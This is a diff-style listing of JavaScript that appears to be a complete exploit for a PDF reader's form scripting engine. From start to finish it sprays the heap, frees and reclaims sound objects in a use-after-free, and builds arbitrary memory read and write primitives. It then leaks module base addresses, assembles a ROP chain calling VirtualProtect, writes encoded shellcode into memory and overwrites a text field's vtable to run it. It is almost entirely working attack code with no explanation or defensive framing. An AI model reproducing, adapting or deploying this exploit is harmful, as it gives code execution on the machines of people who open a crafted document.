| 1 | + | /* util functions */ |
| 2 | + | console.show() |
| 3 | + | function gc() {new ArrayBuffer(3*1024*1024*100)} |
| 4 | + | function s2h(s) { |
| 5 | + | var n1 = s.charCodeAt(0) |
| 6 | + | var n2 = s.charCodeAt(1) |
| 7 | + | return ((n2<<16)|n1)>>>0 |
| 8 | + | } |
| 9 | + | redv = new DataView(new ArrayBuffer(4)) |
| 10 | + | function re(n) { |
| 11 | + | redv.setUint32(0, n, false) |
| 12 | + | return redv.getUint32(0, n, true) |
| 13 | + | } |
| 14 | + | function assert(condition) { |
| 15 | + | if (condition==false) { |
| 16 | + | console.println('assert') |
| 17 | + | throw '' |
| 18 | + | } |
| 19 | + | } |
| 20 | + | ////////////////////////////// |
| 21 | + | |
| 22 | + | |
| 23 | + | STR_60 = "A".repeat(0x60/2-1) |
| 24 | + | FREE_110_SZ = 1024*2 |
| 25 | + | FREES_110 = Array(FREE_110_SZ) |
| 26 | + | |
| 27 | + | /* heap spray */ |
| 28 | + | SPRAY_SIZE = 0x2000 |
| 29 | + | SPRAY = Array(SPRAY_SIZE) |
| 30 | + | GUESS = 0x20000058 //0x20d00058 |
| 31 | + | for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24) |
| 32 | + | ////////////////////////////// |
| 33 | + | |
| 34 | + | /* prepare array elements buffer */ |
| 35 | + | f = this.addField("f" , "listbox", 0, [0,0,0,0]); |
| 36 | + | t = Array(32) |
| 37 | + | for(var i=0; i<32; i++) t[i] = i |
| 38 | + | f.multipleSelection = 1 |
| 39 | + | f.setItems(t) |
| 40 | + | f.currentValueIndices = t |
| 41 | + | ///////////////////////////////// |
| 42 | + | |
| 43 | + | /* prepare sound objects */ |
| 44 | + | SOUND_SZ = 512 |
| 45 | + | SOUNDS = Array(SOUND_SZ) |
| 46 | + | for(var i=0; i<512; i++) { |
| 47 | + | SOUNDS[i] = this.getSound(i) |
| 48 | + | SOUNDS[i].toString() |
| 49 | + | } |
| 50 | + | ///////////////////////////////// |
| 51 | + | |
| 52 | + | /* fence */ |
| 53 | + | f.currentValueIndices = [1,2] |
| 54 | + | FENCE_SZ = 1024*10 //magic number don't touch it |
| 55 | + | FENCES = Array(FENCE_SZ) |
| 56 | + | for(var i=0; i<FENCE_SZ; i++) FENCES[i] = f.currentValueIndices |
| 57 | + | f.currentValueIndices = t |
| 58 | + | ///////////////////////////////// |
| 59 | + | |
| 60 | + | /* free and reclaim sound object */ |
| 61 | + | RECLAIM_SZ = 512 |
| 62 | + | RECLAIMS = Array(RECLAIM_SZ) |
| 63 | + | THRESHOLD_SZ = 1024*6 |
| 64 | + | NTRY = 3 |
| 65 | + | NOBJ = 8 //18 |
| 66 | + | for(var i=0; i<NOBJ; i++) { |
| 67 | + | SOUNDS[i] = null //free one sound object |
| 68 | + | gc() |
| 69 | + | |
| 70 | + | for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices |
| 71 | + | try { |
| 72 | + | if (this.getSound(i)[0] == 0) { |
| 73 | + | RECLAIMS[i] = this.getSound(i) |
| 74 | + | } else { |
| 75 | + | console.println('RECLAIM SOUND OBJECT FAILED: '+i) |
| 76 | + | throw '' |
| 77 | + | } |
| 78 | + | } |
| 79 | + | catch (err) { |
| 80 | + | console.println('RECLAIM SOUND OBJECT FAILED: '+i) |
| 81 | + | throw '' |
| 82 | + | } |
| 83 | + | gc() |
| 84 | + | } |
| 85 | + | console.println('RECLAIM SOUND OBJECT SUCCEED') |
| 86 | + | |
| 87 | + | /* free all allocated array objects */ |
| 88 | + | this.removeField("f") |
| 89 | + | RECLAIMS = null |
| 90 | + | f = null |
| 91 | + | FENCES = null //free fence |
| 92 | + | gc() |
| 93 | + | ///////////////////////////////// |
| 94 | + | |
| 95 | + | for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j) |
| 96 | + | /* reclaim freed element buffer */ |
| 97 | + | for(var i=0; i<FREE_110_SZ; i++) { |
| 98 | + | FREES_110[i] = new Uint32Array(64) |
| 99 | + | FREES_110[i][0] = 0x33441122 |
| 100 | + | FREES_110[i][1] = 0xffffff81 |
| 101 | + | } |
| 102 | + | T = null |
| 103 | + | for(var j=0; j<8; j++) { |
| 104 | + | try { |
| 105 | + | if (SOUNDS[j][0] == 0x33441122) { |
| 106 | + | T = SOUNDS[j] |
| 107 | + | break |
| 108 | + | } |
| 109 | + | } catch (err) {} |
| 110 | + | } |
| 111 | + | if (T==null) { |
| 112 | + | console.println('RECLAIM element buffer FAILED') |
| 113 | + | throw '' |
| 114 | + | } else console.println('RECLAIM element buffer SUCCEED') |
| 115 | + | ///////////////////////////////// |
| 116 | + | |
| 117 | + | /* create and leak the address of an array buffer */ |
| 118 | + | WRITE_ARRAY = new Uint32Array(8) |
| 119 | + | T[0] = WRITE_ARRAY |
| 120 | + | T[1] = 0x11556611 |
| 121 | + | for(var i=0; i<FREE_110_SZ; i++) { |
| 122 | + | if (FREES_110[i][0] != 0x33441122) { |
| 123 | + | FAKE_ELES = FREES_110[i] |
| 124 | + | WRITE_ARRAY_ADDR = FREES_110[i][0] |
| 125 | + | console.println('WRITE_ARRAY_ADDR: ' + WRITE_ARRAY_ADDR.toString(16)) |
| 126 | + | assert(WRITE_ARRAY_ADDR>0) |
| 127 | + | break |
| 128 | + | } else { |
| 129 | + | FREES_110[i] = null |
| 130 | + | } |
| 131 | + | } |
| 132 | + | ///////////////////////////////// |
| 133 | + | |
| 134 | + | /* spray fake strings */ |
| 135 | + | for(var i=0x1100; i<0x1400; i++) { |
| 136 | + | var dv = new DataView(SPRAY[i]) |
| 137 | + | dv.setUint32(0, 0x102, true) //string header |
| 138 | + | dv.setUint32(4, GUESS+12, true) //string buffer, point here to leak back idx 0x20000064 |
| 139 | + | dv.setUint32(8, 0x1f, true) //string length |
| 140 | + | dv.setUint32(12, i, true) //index into SPRAY that is at 0x20000058 |
| 141 | + | delete dv |
| 142 | + | } |
| 143 | + | gc() |
| 144 | + | ///////////////////////////////// |
| 145 | + | |
| 146 | + | //app.alert("Create fake string done") |
| 147 | + | /* point one of our element to fake string */ |
| 148 | + | FAKE_ELES[4] = GUESS |
| 149 | + | FAKE_ELES[5] = 0xffffff85 |
| 150 | + | // ///////////////////////////////// |
| 151 | + | |
| 152 | + | // /* create aar primitive */ |
| 153 | + | SPRAY_IDX = s2h(T[2]) |
| 154 | + | console.println('SPRAY_IDX: ' + SPRAY_IDX.toString(16)) |
| 155 | + | assert(SPRAY_IDX>=0) |
| 156 | + | DV = DataView(SPRAY[SPRAY_IDX]) |
| 157 | + | function myread(addr) { |
| 158 | + | DV.setUint32(4, addr, true) |
| 159 | + | return s2h(T[2]) |
| 160 | + | } |
| 161 | + | ///////////////////////////////// |
| 162 | + | |
| 163 | + | // /* create aaw primitive */ |
| 164 | + | for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY |
| 165 | + | FAKE_ELES[6] = GUESS+0x10 |
| 166 | + | FAKE_ELES[7] = 0xffffff87 |
| 167 | + | function mywrite(addr, val) { |
| 168 | + | DV.setUint32(96, addr, true) |
| 169 | + | T[3][0] = val |
| 170 | + | } |
| 171 | + | //mywrite(0x200000C8, 0x1337) |
| 172 | + | ///////////////////////////////// |
| 173 | + | |
| 174 | + | /* leak escript base */ |
| 175 | + | //d8c5e69b5ff1cea53d5df4de62588065 |
| 176 | + | ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0 dq ? |
| 177 | + | console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16)) |
| 178 | + | assert(ESCRIPT_BASE>0) |
| 179 | + | ///////////////////////////////// |
| 180 | + | |
| 181 | + | /* leak .rdata:007A55BC ; const CTextField::`vftable' */ |
| 182 | + | //f9c59c6cf718d1458b4af7bbada75243 |
| 183 | + | for(var i=0; i<32; i++) this.addField(i, "text", 0, [0,0,0,0]); |
| 184 | + | T[4] = STR_60.toLowerCase() |
| 185 | + | for(var i=32; i<64; i++) this.addField(i, "text", 0, [0,0,0,0]); |
| 186 | + | MARK_ADDR = myread(FAKE_ELES[8]+4) |
| 187 | + | console.println('MARK_ADDR: '+ MARK_ADDR.toString(16)) |
| 188 | + | assert(MARK_ADDR>0) |
| 189 | + | vftable = 0 |
| 190 | + | while (1) { |
| 191 | + | MARK_ADDR += 4 |
| 192 | + | vftable = myread(MARK_ADDR) |
| 193 | + | if ( ((vftable&0xFFFF)==0x55BC) && (((myread(MARK_ADDR+8)&0xff00ffff)>>>0)==0xc0000000)) break |
| 194 | + | } |
| 195 | + | console.println('MARK_ADDR: '+ MARK_ADDR.toString(16)) |
| 196 | + | assert(MARK_ADDR>0) |
| 197 | + | ///////////////////////////////// |
| 198 | + | |
| 199 | + | /* leak acroform, icucnv58 base address */ |
| 200 | + | ACROFORM_BASE = vftable-0x07A55BC |
| 201 | + | console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16)) |
| 202 | + | assert(ACROFORM_BASE>0) |
| 203 | + | r = myread(ACROFORM_BASE+0xBF2E2C) |
| 204 | + | //a86f5089230164fb6359374e70fe1739 |
| 205 | + | ICU_BASE = myread(r+16) |
| 206 | + | console.println('ICU_BASE: ' + ICU_BASE.toString(16)) |
| 207 | + | assert(ICU_BASE>0) |
| 208 | + | ///////////////////////////////// |
| 209 | + | |
| 210 | + | g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret |
| 211 | + | g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret |
| 212 | + | g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret |
| 213 | + | |
| 214 | + | //app.response({cQuestion: "",cTitle: "",cDefault: g3.toString(16),cLabel: ""}); |
| 215 | + | |
| 216 | + | /* copy CTextField vftable */ |
| 217 | + | for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4)) |
| 218 | + | mywrite(GUESS+64+5*4, g1) //edit one pointer in vftable |
| 219 | + | ///////////////////////////////// |
| 220 | + | |
| 221 | + | // // /* 1st rop chain */ |
| 222 | + | mywrite(MARK_ADDR+4, g3) |
| 223 | + | mywrite(MARK_ADDR+8, GUESS+0xbc) |
| 224 | + | |
| 225 | + | // // /* 2nd rop chain */ |
| 226 | + | rop = [ |
| 227 | + | myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect |
| 228 | + | GUESS+0x120, //return address |
| 229 | + | GUESS+0x120, //buffer |
| 230 | + | 0x1000, //sz |
| 231 | + | 0x40, //new protect |
| 232 | + | GUESS-0x20//old protect |
| 233 | + | ] |
| 234 | + | for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i]) |
| 235 | + | |
| 236 | + | //shellcode |
| 237 | + | shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296] |
| 238 | + | for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i])) |
| 239 | + | |
| 240 | + | /* overwrite real vftable */ |
| 241 | + | mywrite(MARK_ADDR, GUESS+64) |
| 242 | + | |